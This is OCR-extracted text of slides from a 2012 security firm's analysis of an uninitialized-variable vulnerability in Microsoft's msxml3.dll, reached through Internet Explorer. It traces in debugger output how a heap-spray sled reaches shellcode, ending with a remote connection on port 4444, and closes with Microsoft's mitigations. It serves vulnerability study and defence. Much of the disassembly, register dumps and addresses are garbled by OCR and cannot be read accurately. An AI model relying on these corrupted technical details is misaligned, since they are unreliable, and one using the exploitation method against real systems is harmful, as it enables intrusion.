75c710d8 jscript!InvokeDispatchEx+0x78

75chfabl jscript IVAR: : InvokeByHame+0xba

7Schefea jscript IVAR:  InvokeDizpHame+0x43

75c7effd jscript VAR : InvokeByDispID+0=id

75c7165d jscript!CScriptRuntime: Eun+0=xl6bd

75c71793 Jscript !ScrFncObi: i Call+0x8d

©2012 High-Tech Bridge SA — www.htbridge.com



11| [[T— [
Analysis of the vulnerability (18) HIGH-TECH BRIDGE

INFORMATION SECURITY SOLUTIONS

= When the code returns from the DOMNode:: invokeDOMNode
function the value of the EAX register is set to 1.

edi 13=dd4d
=1 J4a4f584
ebx 1]

edx 1

749454 f
|Ea:-1 1

=hp 13e2d0
eip 749hd749

= Sothe JL jump at the address 0x749BD74B is not executed.

749b4749 3bc=3
749bd74b 0f 8000000 71 meExmlal
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= After the non-taken jump the code takes a dword from
[ebp+0x14] and moves it into the EAX register.

= EAX now holds the 0x0c0Oc0c08 value.

74954751
749bd4754
749bd756
749bd758

_ ==:0023 0013e2bc=0z0c0c0a]l

Cp eax, ebx

b TmyH 221, 2ax
iz msEmli!_dispatchInpl:  InvokeHelper+l=zc? (749047800

g=

ft=

==

d=

edi 13=4d4
2=l 7d4a4f584
ebx 1]

eds 1

[=lmy-d 749d5df
(=1=h =008
ebp 13e2di
eip 749b4754
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But wait... The value is directly moved into the EAX register... And what was
indeed the previously moved value?

|?49hd?51 Bb4Sec 8K, [= O] ==:0023:0013e2be=0cz0z0=08]

Decompiling the msxml3.dll module with IDA shows us that the value matches
with a local variable that was not properly initialized.

THU9BDGBE ; Attributes: bp-based Frame
FLUOBDSBE
?WBMBE[_dispatt:h[lpl_[nuukel-lelper proc near] : CODE XREF: sub_ 749BDABS+S9Lp
FUPBDABE
T4PBDSBE var 10C = byte ptr -18ChH
FUQBDSBE war 4C = h e ptr -1Ch
7u9BDABE[ var 14 = dword ptr 140
THOBDSBE war_ = duword ptr =¥
TWOBDGBE war 8 = dword ptr -8
THORDEBRE wvar 1 = hyte ptr -1
7UOBDGBE arg 4 = dword ptr &
T49BDSBE arg 8 = dword ptr BCh
TLUOBDGBE arg O = dword ptr 10h
TUPBDABE arg 1@ = dword ptr 14h
TUOBDEBE arg_1h = dword ptr 18h
TUPBDEBE arg 18 = dword ptr 1Ch
THOBDGBE arg 1C = dword ptr 2ih
TU9BDEBE arg 2@ = dword ptr Zhh
THOBDGBE arg_ 24 = dword ptr 28h
TUOBDABE

TU9BDGBE Aoy edi, edi

-text:749BD751 eax, [ebp+var_14]
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Later, because of the comparison between EAX and EBX at
0x749BD754 the JZ jump instruction at 0x749BD758 is not taken.

749bd754 3bc3 CIp eax, ebx
The code continues... And lastly, the content of the EAX pointer is
transferred into the ECX reqister.

749bd758 V426 iz m=Emli!_dispatchInpl:  InvokeHelper+lzc? (749bd780)
749bd75a f£7528 push O ebp+ [ se-E-]
74954754 SL08 =

=

f= ih

2= 213

d= 213

edi 13=4d4

2=1 =008

bz 1]

== 1

[ty clclclc
clzls08

ebp 13=2d0

=ip 749bdY 51

o= 1h

efl 202

=t=yu] 13elb4d
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= Since from the address 0x749BD75F the following instructions will not
modify the ECX register, the call instruction at the address
0x749BD772 will successfully reach the or al,0x0c sled.

749bd7?5f f£7524 msh dword ptr 7 ==:0023:0013=2f4=0013=4b4

749bd?e2 ££7520 push dword ptr [ebp+0xzZ0]

749bd765 &7 push edi

749bd?66 Ball push =2

749bd768 f£7514 pu=sh dword ptr [ebp+0xl4d]

749bd7?eb 68f8a79b74 push 0x749ba7f8

#49bd?70 53 push ebx

74954771 B0 n1=h =

749bd772 ££5118 call dword ptr [ecz+0=x13
= Mo ebp+lzc] . sax

74904778 8hig o 2ax. [e=1]

749bd?7a 56 push 2=l

749b47 7R ££5008 call dword ptr [sax+l=d]

Command - Pid 3820 - WinDbg:6.4.0007.0

0:000x d ecx
Iclclc?d O
I=lclc3d Oc
Iclclczdd  Oc
Iclclcz54 0o
Iclclced 0o
Iclclcz?4 0o
Nclclczg8d  Oc
I=lc0z94 O

Jl
[ooa0s |
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» The or al,0xOc sled is successfully executed until it finds the
shellcode.

=S
I=lclcle
Nc=0c0cz10
Nclclczl2
N=0c0z14
N=lclczla
N=0c=0cz18
I=lclzla
Iclclclc
I=lclcle
Nclc0cz20
Nclclcz22
N=lclc24
Nclclcz26
N=lclc28
IclclcZa
IclclcZc
I=lclcie
N=0c0cz30
Nclclcz32

4

D 000 4 [ecx+618]
Mc0z1224 72 27 96
Oc0cs1234 b8 35 3f
O=0c=1244 43 de 8Sc
Oelc1254 23 £7 el
Oc0c1264 bBb 9B ba
O=0=1274 04 96 Lbb
Oc0s1284 B9 7e 22
Nlc0c1294 40 4e 41
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= Shellcode execution is achieved:

S WINDOWSh system 32 cmd.exe
Active Connections

Local Address
H A.A.A.8:135

A.A.A.A:-445 LISTEHIHG

127.8.8.1:1825 LISTENIMNG

4070 A0 DI040 =4 30 TTCTORTRIT

192.168.235.129:1388 .168.235.131:4444 ESTABLISHED

State
LISTENING

=]

IEEE

" 1]

IEEET

5
5
-
R
or

192.168.235.129:137
192.168.235.12%:138
192.168.235.1292:19804

1
-
E
E
E
E
E
E
E
E
E
E
E
E
E
E

?

2
-
E
E
E
E
E
E
E
E
E
E
E
E
E
E
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Microsoft created a new workaround in the form of a fix-it.

The “Fix it” package makes a minor change at runtime to either
msxml3.dll, msxml4.dll or msxml6.dll modules every time
Internet Explorer is loaded.

This modification causes Internet Explorer to properly initialize the
previously uninitialized variable which is the main problem of this
vulnerability.

Deploy the Enhanced Mitigation Experience Toolkit.

Configure Internet Explorer to prompt before running Active
Scripting or disable Active Scripting in the Internet and Local
Intranet security zones.
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Your questions are always welcome!
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